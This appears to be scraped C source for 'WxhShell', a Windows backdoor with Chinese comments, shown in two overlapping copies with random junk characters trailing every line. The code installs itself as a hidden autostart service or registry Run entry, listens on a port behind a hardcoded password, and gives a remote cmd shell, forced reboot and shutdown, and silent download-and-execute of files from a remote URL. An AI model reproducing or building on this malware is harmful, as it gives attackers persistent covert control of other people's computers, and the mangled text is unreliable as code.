    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #*9-d/K  
    if(Boot(SHUTDOWN)) W=JAq%yd<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !8 -oR6/$%  
    else { 4jNG^@O  
    closesocket(wsh); =PkO!Mm8  
    ExitThread(0); POAw M  
    } H#i{?RM@l  
    break; ! }f1`/   
    } g13 rx%-  
  // 获取shell mO*^1  
  case 's': { %zBCq"y  
    CmdShell(wsh); X(A.X:"  
    closesocket(wsh); S0d~.ah30  
    ExitThread(0); z'7[Tie  
    break; GsQ*4=C  
  } HOoPrB m  
  // 退出 ( #D*Pl  
  case 'x': { OFk8>"|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WIr2{+#  
    CloseIt(wsh); 'G&{GVbXY  
    break; r%@Lej5+  
    } P 1XK*GZ  
  // 离开 G{Yz8]m  
  case 'q': { vb Y3;+M>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  6e,xDr  
    closesocket(wsh); .IarkeCtb  
    WSACleanup(); 7O5`v(<9n>  
    exit(1); 5U`ZbG  
    break; oF]cTAqhC.  
        } |re}6#TgcT  
  } z~*g~RKS!  
  } @"-</x3o  
n">u mM;Eh  
  // 提示信息 n DS}^Ba  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^y!;xc$(Qs  
} (*p , T  
  } ]rehW}  
sRSz}]  
  return; o*WY=  
} dCyqvg6u  
(8$k4`T>  
// shell模块句柄 %`MQmXgM  
int CmdShell(SOCKET sock) #Z+i~t{e(  
{  hc#!Lv  
STARTUPINFO si; vhbDb)J  
ZeroMemory(&si,sizeof(si)); O.aG[ wm8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cH' iA.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q?b14]6im  
PROCESS_INFORMATION ProcessInfo; Fm\"{)V:b  
char cmdline[]="cmd"; in+}/mwfC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x8Loyt_C  
  return 0; {S/yL[S.  
} 6!x&LoM  
vo>d!rVCV  
// 自身启动模式 ^d}gpin  
int StartFromService(void) KmG  
{ Od+6 -J  
typedef struct [x=jH>Y  
{ ]i(-I <`  
  DWORD ExitStatus; 8Jf.ECQT  
  DWORD PebBaseAddress; 9. 'h^#C  
  DWORD AffinityMask; > fnh+M  
  DWORD BasePriority; *IgE)N >  
  ULONG UniqueProcessId; De7T s  
  ULONG InheritedFromUniqueProcessId; =4V&*go*\  
}   PROCESS_BASIC_INFORMATION; ZkL8e  
dQoYCS}IaV  
PROCNTQSIP NtQueryInformationProcess; O[tvR:Nh  
f-DL:@crU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jk@]tAwoM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7C#`6:tI  
{3;AwhN0H  
  HANDLE             hProcess; &'cL%.  
  PROCESS_BASIC_INFORMATION pbi; vEf4HZ&w  
\(226^|j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8fA_p}wp  
  if(NULL == hInst ) return 0; GjoIm?  
!It`+0S b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %CWPbk^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D\IjyZ-O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SJD@&m%?[  
^ ,m< 9  
  if (!NtQueryInformationProcess) return 0; P96pm6H_;  
3bO(?l`3h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BA\/YW @  
  if(!hProcess) return 0; l/;X?g5+  
B8E'ddUw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?X@fKAj  
n]8<DX99Q0  
  CloseHandle(hProcess); %X#zj"  
~l;[@jsw F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f{SB1M   
if(hProcess==NULL) return 0; )`^p%k  
6'\6OsH  
HMODULE hMod; %%(R@kh9  
char procName[255]; wFG3KzEq ~  
unsigned long cbNeeded; 8XbA'% o  
@lJzr3}WZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <ZU=6Hq  
Gt9&)/#  
  CloseHandle(hProcess); /cc\fw1+  
o7IxJCL=Q  
if(strstr(procName,"services")) return 1; // 以服务启动  hi g2  
[+O"<Ua  
  return 0; // 注册表启动 GfM;saTz{  
} C9p"?vX  
THmb6^  
// 主模块 u2 `b'R9  
int StartWxhshell(LPSTR lpCmdLine) ^vG8#A}]  
{ UH3sH t  
  SOCKET wsl; >2#8B  
BOOL val=TRUE; ^CwR!I.D}4  
  int port=0; wAnb Di{W  
  struct sockaddr_in door; !w&kyW?e  
zYl#4O`=c  
  if(wscfg.ws_autoins) Install(); C8F7bG8c  
sz9L8f2  
port=atoi(lpCmdLine); CI3XzH\IX*  
Z7 E  
if(port<=0) port=wscfg.ws_port; bWOS `5  
re> rr4@  
  WSADATA data; ?%H):r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y@PI {;!  
/x3/Ubmz~x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l<M'=-Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bH"hX  
  door.sin_family = AF_INET; {BKl`1z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j0@[Br%7  
  door.sin_port = htons(port); ca+[0w@S  
uZ;D!2Q a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z=$jGL  
closesocket(wsl); 7FRmx 4(!  
return 1; IIq1\khh  
} ;sHN/eF  
>>[ G1   
  if(listen(wsl,2) == INVALID_SOCKET) { vTv]U5%:>%  
closesocket(wsl); )V!dBl"Gq  
return 1; bXS:x  
} c6Y\n%d&  
  Wxhshell(wsl); QBR=0(giF  
  WSACleanup(); Rb\6;i8R  
WJ*n29^N^h  
return 0; 5xii(\lC  
EUIIr4]  
} .!JVr"8  
OgX6'E\E  
// 以NT服务方式启动 ETB6f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $0arz{Oh  
{ +f[ED4E>'(  
DWORD   status = 0; I$8" N]/C  
  DWORD   specificError = 0xfffffff; NH3cq  
z $MV%F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vVL@K,q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `9 {mr<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [e1S^pI  
  serviceStatus.dwWin32ExitCode     = 0; s|D>-  
  serviceStatus.dwServiceSpecificExitCode = 0; W\18{mbuy  
  serviceStatus.dwCheckPoint       = 0; (ND4Q[*6  
  serviceStatus.dwWaitHint       = 0; 1h.)#g?{  
}.z&P'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  [~&XL0  
  if (hServiceStatusHandle==0) return; fHZTXvxoL  
A'nq}t 3  
status = GetLastError(); Znetzm=0  
  if (status!=NO_ERROR) cW+t#>' r  
{ ,K^4fL$C;3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _D|^.)=U|  
    serviceStatus.dwCheckPoint       = 0; f  nI|  
    serviceStatus.dwWaitHint       = 0; bO<CR  
    serviceStatus.dwWin32ExitCode     = status; hTwA%  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'g9"Qv?0{`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ApjOj/  
    return; zq%D/H6J,  
  } frBX{L  
!Kv@\4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &7_Qd4=08w  
  serviceStatus.dwCheckPoint       = 0; Ja ,Cvt  
  serviceStatus.dwWaitHint       = 0; k^OV56  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pJ ?~fp  
} >"Q@bQ:e  
t+Op@*#%  
// 处理NT服务事件,比如:启动、停止 }6 K^`!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /y>>JxAEb  
{ pAk/Qxl3eo  
switch(fdwControl) D\e8,,H  
{ iPrLwheb  
case SERVICE_CONTROL_STOP: N:9>dpP}O  
  serviceStatus.dwWin32ExitCode = 0; #]'rz,E<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; san,|yrMn  
  serviceStatus.dwCheckPoint   = 0; r#6_]ep}<'  
  serviceStatus.dwWaitHint     = 0; w;l<[q?_  
  { Q3"} Hl2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CA +uKM^"6  
  } rm} R>4  
  return; $U/YR&vcw  
case SERVICE_CONTROL_PAUSE: {8I.`U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }cN@[3v  
  break; pD&& l!i&[  
case SERVICE_CONTROL_CONTINUE: r 6Q Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /6_|]ijc  
  break; SvR7e C  
case SERVICE_CONTROL_INTERROGATE: 5 QO34t2  
  break; 'KPASfC  
}; %sRUh0AL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _@R0x#p5M  
} 1 1cWy+8D  
)IJQeC  
// 标准应用程序主函数 *FJZi Py  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _.-;5M-  
{ =r@vc  
z'`y,8Y1l  
// 获取操作系统版本 F0690v0mB[  
OsIsNt=GetOsVer(); f#Xyoa%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sUYxT>R  
,<2DL p%%D  
  // 从命令行安装 ~i.k$XGA  
  if(strpbrk(lpCmdLine,"iI")) Install(); $2%f 8&  
KOwOIDt  
  // 下载执行文件 pn*3\  
if(wscfg.ws_downexe) { Q#EP|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sv;_HZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); m%PC8bf`S  
} l|hUw  
|{@FMxn|q  
if(!OsIsNt) { B*gdgM*`  
// 如果时win9x,隐藏进程并且设置为注册表启动 O=9-Qv|  
HideProc(); %K]euEqs  
StartWxhshell(lpCmdLine); pc?>cs8  
} sp* Vqd  
else 03j]d&P%d  
  if(StartFromService()) ~l2aNVv;  
  // 以服务方式启动 LF0sH)e]  
  StartServiceCtrlDispatcher(DispatchTable); CwX Z  
else O3CFme  
  // 普通方式启动 XerbUkZ  
  StartWxhshell(lpCmdLine); 95<EN (oUD  
%2V-~.Ro6  
return 0; Rml2"9"`  
}  RD tU43  
Q#IG;  
`~X!Ll  
" ZX3sfkh  
=========================================== Sc7U |s  
4l&g6YneX  
/W<>G7%.  
eu|j=mB  
4hw@yTUo  
A0%}v*  
" +,2Jzl'-  
$TI5vhQ  
#include <stdio.h> U8(Nk\"X\  
#include <string.h> jg&E94}+  
#include <windows.h> c`fG1s  
#include <winsock2.h> )yo a  
#include <winsvc.h> ^V %rag  
#include <urlmon.h> Wpc|`e<  
_{|D  
#pragma comment (lib, "Ws2_32.lib") xW[ -n  
#pragma comment (lib, "urlmon.lib") *:O.97q@h  
o!~Jzd.=h  
#define MAX_USER   100 // 最大客户端连接数 1@gguRF:  
#define BUF_SOCK   200 // sock buffer G7=p Bf  
#define KEY_BUFF   255 // 输入 buffer W0=O+0$^  
9!><<7TS  
#define REBOOT     0   // 重启 MaD3[4@#  
#define SHUTDOWN   1   // 关机 FEo269Ur  
sN("+ sZ.n  
#define DEF_PORT   5000 // 监听端口 B(F,h+ajy  
.I@CS>j  
#define REG_LEN     16   // 注册表键长度 H}LS??P  
#define SVC_LEN     80   // NT服务名长度 \a+(=s(;  
CB&iI'  
// 从dll定义API DI;DECQl$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c"n ?'e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fBQ?|~:n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #Oha(mRY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )z8!f}:De=  
%0Y=WYUH>  
// wxhshell配置信息 KLX/O1B  
struct WSCFG { 'Z`$n8  
  int ws_port;         // 监听端口 ~8m=1)A{(  
  char ws_passstr[REG_LEN]; // 口令 jLJ1u/l>;  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jxqh )l  
  char ws_regname[REG_LEN]; // 注册表键名 F]m gmYD%  
  char ws_svcname[REG_LEN]; // 服务名 #oJ5k8Wy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;}z\i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u0`%+:]0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =YG _z^'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ` gW<M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mm5$> [%U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Uje|`<X  
?GTU=gp Q  
}; B>Wu;a.:L  
QKE9R-K TE  
// default Wxhshell configuration +-B^Z On  
struct WSCFG wscfg={DEF_PORT, 6:% L![FX  
    "xuhuanlingzhe", JH7Ad (:  
    1, Ez{MU@Fk  
    "Wxhshell", ql<rU@  
    "Wxhshell", b~BIz95  
            "WxhShell Service", Z@gnsPN^r  
    "Wrsky Windows CmdShell Service", =:SN1#G3n  
    "Please Input Your Password: ", \Ofw8=N-2  
  1, MV=9!{`  
  "http://www.wrsky.com/wxhshell.exe", t!K*pM  
  "Wxhshell.exe"  9dzdrT  
    }; wDwH.~3!  
?RzDQy D  
// 消息定义模块 kw`WH)+F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <ER'Ed  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hAj1{pA,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @t1V o}c  
char *msg_ws_ext="\n\rExit."; ""svDfy$  
char *msg_ws_end="\n\rQuit."; ,^8MB.  
char *msg_ws_boot="\n\rReboot..."; MuBx#M/  
char *msg_ws_poff="\n\rShutdown..."; g=T/_  
char *msg_ws_down="\n\rSave to "; I\ | N  
D=TL>T.b f  
char *msg_ws_err="\n\rErr!"; j6(?D*x  
char *msg_ws_ok="\n\rOK!"; ,i.%nZw\  
xug)aE  
char ExeFile[MAX_PATH]; Dr;iQkGP  
int nUser = 0; MlW 8t[  
HANDLE handles[MAX_USER]; S-#q~X!yJ  
int OsIsNt; t4K~cK  
'lZ.j&  
SERVICE_STATUS       serviceStatus; V\K<$?oUb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T#Z%y!6  
U.T|   
// 函数声明 XR0O;JN  
int Install(void); S-+M;@'Rl  
int Uninstall(void); q8ImrC.'^  
int DownloadFile(char *sURL, SOCKET wsh); AnZclqtb  
int Boot(int flag); B}d.#G+_$x  
void HideProc(void); &L^CCi  
int GetOsVer(void); D5?phyC[Z  
int Wxhshell(SOCKET wsl); [@fz1{*  
void TalkWithClient(void *cs); wNE$6  
int CmdShell(SOCKET sock); Y\2|x*KwvF  
int StartFromService(void); A-CUv[pM  
int StartWxhshell(LPSTR lpCmdLine); 8[ry |J  
OlD`uA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X5 ITF)&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^/Sh=4=G  
m=qOg>k  
// 数据结构和表定义 `Pc3?~>0HH  
SERVICE_TABLE_ENTRY DispatchTable[] = R.s|j=  
{ 2i|B=D(  
{wscfg.ws_svcname, NTServiceMain}, %]p6Kn/>  
{NULL, NULL} c<+;4z  
}; %f8Qa"j  
2=ztKfsBhE  
// 自我安装  8RwX=  
int Install(void) t5 a7DD  
{ @tRMe6 4  
  char svExeFile[MAX_PATH]; ~YCuO0t  
  HKEY key; >6Lm9&}  
  strcpy(svExeFile,ExeFile); Fl>]&x*~  
6aOp[-Le  
// 如果是win9x系统,修改注册表设为自启动 z1,tJH0  
if(!OsIsNt) { (bn Zy0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { + E"[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8Z85D  
  RegCloseKey(key); GJ 'spgz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3kmeD".  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ix Z)tNz  
  RegCloseKey(key); u}6v?!  
  return 0; w?csV8ot  
    } !p 8psi0  
  } oN(-rWdhZ  
} 5, b]V)4  
else { #G3N(wV3  
6Gn4asoA  
// 如果是NT以上系统,安装为系统服务 ELa ja87  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gt/4F-Gn  
if (schSCManager!=0) # k5#j4!b  
{ }fhHXGK.  
  SC_HANDLE schService = CreateService :6;e\UE  
  ( ?a/n<V '  
  schSCManager, UEzi*"-v2  
  wscfg.ws_svcname, ! d9AG|  
  wscfg.ws_svcdisp, A~lIa$U$b  
  SERVICE_ALL_ACCESS, >{Rb 3Z]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &d`^ E6#  
  SERVICE_AUTO_START, 3]E(mRX  
  SERVICE_ERROR_NORMAL, xk~Nmb}  
  svExeFile, <M[U#Q~?~e  
  NULL, $M"0BZQ?y!  
  NULL, O2-M1sd$  
  NULL, L&Qi@D0P  
  NULL, 6!EYrX}rI[  
  NULL G5]1s  
  ); 9 -jO,l  
  if (schService!=0) KO]N%]:&~  
  { aw}+'(?8]  
  CloseServiceHandle(schService); \Rk$t7ZH  
  CloseServiceHandle(schSCManager); p*;Qz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fAj2LAK  
  strcat(svExeFile,wscfg.ws_svcname); :h";c"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <R1X \s.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m$y]Lf  
  RegCloseKey(key); p {%t q$}.  
  return 0; rPq<Xb\  
    } #w3ru6*W  
  } {w`:KR6o7  
  CloseServiceHandle(schSCManager); [ug,jEH"S  
} nJ3vi}`  
} \k&1*b?h  
a5`eyL[f  
return 1; |#5 e|z5(  
} ;MTz]c  
{^RG% &S  
// 自我卸载 fU*C/ d3  
int Uninstall(void) T'rjh"C&|  
{ hH+bt!aH  
  HKEY key; _GbE ^  
Z^tGu7x  
if(!OsIsNt) { ged,>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gAE!a Ky  
  RegDeleteValue(key,wscfg.ws_regname); kC^.4n om  
  RegCloseKey(key); StQ@g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QdDtvJLf  
  RegDeleteValue(key,wscfg.ws_regname); ,# "(Z  
  RegCloseKey(key); +*EKR  
  return 0; U|fTb0fB  
  } z<a2cQ?XQ  
} ! sYf<  
} #w~0uCzQ@  
else { B7 "Fp  
,8 SWe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?ei%RWo  
if (schSCManager!=0) >riq98Us/  
{ XNmQ?`.2'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jE U'.RBN%  
  if (schService!=0) \5[-Ml  
  { Kd{#r/HZ  
  if(DeleteService(schService)!=0) { r<FQX3  
  CloseServiceHandle(schService); 0o68rF5^s  
  CloseServiceHandle(schSCManager); cgNt_8qC  
  return 0; ~ v1W  
  } `Wf5  
  CloseServiceHandle(schService); rye)qp|  
  } 29O]S8  
  CloseServiceHandle(schSCManager); FP;": iRL  
} Yk>8g;<  
} {,V$*  
@P70W<<  
return 1; OJ[rj`wrW^  
} A +!sD5d  
Gc5VQ^]  
// 从指定url下载文件 IvSn>o  
int DownloadFile(char *sURL, SOCKET wsh) :,C%01bH|l  
{ utd:&q|}  
  HRESULT hr; +L6" vkz  
char seps[]= "/"; rdI]\UH  
char *token; )<LI%dQ:'l  
char *file; +2O=s<fp  
char myURL[MAX_PATH]; MuSaK %  
char myFILE[MAX_PATH]; Es:6  
z_(eQP])  
strcpy(myURL,sURL); !"(u_dFw  
  token=strtok(myURL,seps); 8?Wgawx  
  while(token!=NULL) |4xo4%BQ>  
  { 4hNwKe"Ki  
    file=token; aiR5/ ZD  
  token=strtok(NULL,seps); .wri5  
  } 9[f%;WaS  
o_:Qk;t  
GetCurrentDirectory(MAX_PATH,myFILE); 6<76O~hNZ  
strcat(myFILE, "\\"); 0o;~~\fq.  
strcat(myFILE, file); 9%TT> 2#  
  send(wsh,myFILE,strlen(myFILE),0); f=oeF]=I"  
send(wsh,"...",3,0); =L16hDk o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xvO 3BU~2  
  if(hr==S_OK) _> Ln@  
return 0; {jG.=}/Dk  
else <rMv0y+r  
return 1; ,9UCb$mh  
zn[QvY  
} '8Qw:fh  
!Ud:?U  
// 系统电源模块 >e_%M5 0  
int Boot(int flag) q4k`)?k9  
{ gD5P!}s[u0  
  HANDLE hToken; {|p"; uJ  
  TOKEN_PRIVILEGES tkp; B$DZ]/<  
^hysCc  
  if(OsIsNt) { 7AeP Gr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4[_L=zD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cI3KB-lM#  
    tkp.PrivilegeCount = 1; AJ4r/b }  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z*h ;e;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]F_r6*<  
if(flag==REBOOT) { :Fo4O'UC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Uir*%*4:  
  return 0; ?+Hp?i$1  
} kXCY))vnn  
else { )DRkS,I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R%W@~o\p]  
  return 0; x~Pvh+O  
} 6mAB(X^+  
  }  9^p32G  
  else { @jKDj]\  
if(flag==REBOOT) { ,N0uR@GN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )8bFGX7|  
  return 0; @bY?$fj_u  
} c G*(C  
else { 5Fr;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A~XOK;sB  
  return 0; >.LgsMRIKi  
} dWjx"7^  
}  /+N|X  
>.n;mk  
return 1; l JlZHO  
} &h\CS8nT%  
V 1*Ad  
// win9x进程隐藏模块 !+=Zjm4L  
void HideProc(void) |a>}9:g,=*  
{ Y.(v{l  
Q;Q%SI`yT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {GK(fBE  
  if ( hKernel != NULL ) PM8Ks?P#u  
  { }D Z)W0RDe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _o&94&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {&0mK"z_  
    FreeLibrary(hKernel); FQ0KU b}0  
  } ~JAjr(G#o  
/=q.tDH=I  
return; F G3Sk!O6  
} P6:;Y5e0  
:b <KX%g  
// 获取操作系统版本 % mJ~F*Dy  
int GetOsVer(void) D{Oq\*  
{ q[Vi[b^F  
  OSVERSIONINFO winfo; }2h't.Z<u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IO*l vy  
  GetVersionEx(&winfo); hR!}u}ECd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \hrrPPD1z  
  return 1; %N>\:8 5?  
  else 8.[&wy U  
  return 0; XzW7eO ,A  
} .uBO  
=?HzNA$yh  
// 客户端句柄模块 &;E d*OJ  
int Wxhshell(SOCKET wsl) Oy:QkV9  
{ =w?M_[&K)  
  SOCKET wsh; ^l--zzO 8l  
  struct sockaddr_in client; zuk"  
  DWORD myID; W"dU1]  
pXve02b1B  
  while(nUser<MAX_USER) (1rJFl!  
{ TN J<!6  
  int nSize=sizeof(client); uC- A43utv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wLY#dm  
  if(wsh==INVALID_SOCKET) return 1; % Oz$_Xe  
E2kW=6VO>|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;*W=c   
if(handles[nUser]==0) OI*ZVD)J  
  closesocket(wsh); DCt\E/  
else Jc`Rs"2  
  nUser++; \Bt =bu>Z  
  } gxI&f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]7v81G5E  
Wgav>7!9  
  return 0; ax4*xxU  
} O+p]3u  
#FEa 5  
// 关闭 socket UOw~rK   
void CloseIt(SOCKET wsh) |3S'8Oe CI  
{ IhUW=1& J  
closesocket(wsh); ,GP!fsK  
nUser--; : #3OcD4  
ExitThread(0); &S<? 07Z  
} x)j/  
SOhSg]g  
// 客户端请求句柄 ax<g0=^R  
void TalkWithClient(void *cs) LE8K)i  
{ w~4 z@/^"p  
S|~i>  
  SOCKET wsh=(SOCKET)cs; yQ8M >H#J  
  char pwd[SVC_LEN]; ;&If9O 1  
  char cmd[KEY_BUFF]; O;UiYrXU  
char chr[1]; #m[vn^8B]y  
int i,j; @55bE\E?@  
^I@ey*$  
  while (nUser < MAX_USER) { `E{;85bDH  
anK[P'Y  
if(wscfg.ws_passstr) { {EOn r1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $< A8gTJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sk~za  
  //ZeroMemory(pwd,KEY_BUFF); 4sj9Z:  
      i=0; +Y^-e.UO  
  while(i<SVC_LEN) { 'uPxEu4 >4  
Sc%aJ1  
  // 设置超时 /z/hUa  
  fd_set FdRead; |.y>[+Qb*  
  struct timeval TimeOut; L& I` #  
  FD_ZERO(&FdRead); 4\&H?:c.  
  FD_SET(wsh,&FdRead); :/>7$)+  
  TimeOut.tv_sec=8; >BJ2v=R A  
  TimeOut.tv_usec=0; 3?.6K0L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^Yf3"D?&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \k|_&hG  
xR0~S 3caI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yEE|e&#>  
  pwd=chr[0]; hm*Th  
  if(chr[0]==0xd || chr[0]==0xa) { $eK8GMxZ#  
  pwd=0; J f\Qf  
  break; ?nB he lW^  
  } (hpTJsZ  
  i++; T {hyt  
    } ,@}W@GGP)  
:5r:I[FFy  
  // 如果是非法用户,关闭 socket PXOrOK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T^KCB\\<  
} 2.^7?ok  
 qJsQb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .Q l;(Wyl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `K$:r4/[  
)3k)2XF  
while(1) { FI3sLA  
x%b]e a  
  ZeroMemory(cmd,KEY_BUFF); b%=1"&JI:  
{[l'S  
      // 自动支持客户端 telnet标准   t9-_a5>E\}  
  j=0; w~bG<kxP  
  while(j<KEY_BUFF) { zd?bHcW/h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $~ pr+Ei  
  cmd[j]=chr[0]; " 7l jc  
  if(chr[0]==0xa || chr[0]==0xd) { F?}m8ZRv  
  cmd[j]=0; j09mI$2y67  
  break; 3{.9O$  
  } 6&g!ZE'G  
  j++; 38"8,k  
    } O{;M6U8C\  
RA*_&Ll&!C  
  // 下载文件 M \ :"~XW  
  if(strstr(cmd,"http://")) { ?whRlh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3c1o,2  
  if(DownloadFile(cmd,wsh)) d[~au=b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^JYF1   
  else #n U@hOfg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wwn5LlJ^  
  } (Q}PeKM?jq  
